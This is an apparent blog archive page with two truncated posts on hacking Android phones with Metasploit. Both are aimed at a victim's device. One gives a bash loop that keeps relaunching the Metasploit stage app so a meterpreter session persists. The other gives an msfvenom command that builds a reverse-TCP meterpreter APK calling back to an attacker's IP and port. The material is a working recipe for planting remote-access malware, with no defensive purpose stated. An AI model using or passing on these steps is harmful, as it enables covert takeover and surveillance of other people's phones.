Skip to main content

Posts

Showing posts from May, 2020

Creating a Persistence Session: Android

This is a continuation article of the Android Hacking with Metasploit. After getting the session from the victim we next need a persistent session i.e  constant session which will maintain the session even if you lost the previous sessions. For this we need a bash script that is to be executed on the victim's mobile. I have used this bash script for the persistent session. You can use different scripts as well. --------------------------------------------------------------------------------------------------------------- #!/bin/bash while true do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20 done --------------------------------------------------------------------------------------------------------------- Save the script as <anything>.sh Next our aim is to get the session back Step:1 After getting the meterpreter we need to do  cd / Step:2 Th...

Android Hacking With Metasploit

Hello This is my first blog regarding the android hacking with metasploit. I am in the learning stage and if you found some error then point out them and feel free to contact me. Step 1:- First of all we have to open terminal and start some services with commands like:-                                          (a) start apache2 start                                          (b) start postgresql start Then we have to start metasploit framework with the command msfconsole. Step 2:- Then we have to create android malware using metasploit framework in new window. Execute the Command:- msfvenom -p android/meterpreter/reverse_tcp LHOST= <attacker IP> LPORT= <attacker PORT> R > <filename.apk> N.B:- msfvenom is a command line code t...